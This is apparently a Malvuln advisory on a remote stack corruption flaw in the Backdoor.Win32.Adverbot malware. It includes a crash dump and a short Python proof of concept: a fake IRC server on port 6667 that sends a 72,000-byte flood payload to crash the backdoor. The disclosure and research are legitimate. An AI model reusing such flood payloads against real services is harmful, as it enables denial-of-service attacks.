BACKDOOR.WIN32.ADVERBOT / Remote Stack Corruption

2021.01.04
us malvuln (US) us
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Discovery / credits: malvuln - Malvuln.com (c) 2021 Original source: http://malvuln.com/advisory/9919c1e86a750dd6d4f0d2a851af29ea.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: BACKDOOR.WIN32.ADVERBOT Vulnerability: Remote Stack Corruption Description: Null instruction pointer read stack corruption when connecting to an IRC server Port 6667. The NetControl.File component allows connecting to server to IRC servers to file share or send messages under Menu/connect. Type: PE32 MD5: 9919c1e86a750dd6d4f0d2a851af29ea Vuln ID: MVID-2021-0003 Dropped files: ASLR: False DEP: False Safe SEH: True Disclosure: 01/01/2021 [+] Download advisory Memory Dump: 0:000> .ecxr eax=00000000 ebx=46454447 ecx=00000000 edx=0019c21f esi=00000000 edi=00000000 eip=00000000 esp=0019d264 ebp=00000000 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 00000000 ?? ??? ExceptionAddress: 00000000 ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 00000000 Attempt to read from address 00000000 Exploit/PoC: import socket port=6667 payload="A"*72000 def doit(): global payload s = socket.socket() try: host = '' s.bind((host, port)) s.listen(5) print('Backdoor.Win32.Adverbot / Null Pointer Read Stack Corruption') print('MD5: 9919c1e86a750dd6d4f0d2a851af29ea') print("By malvuln") while True: conn, addr = s.accept() conn.send(payload+'\r\n') conn.close() except Exception as e: pass if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occuring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


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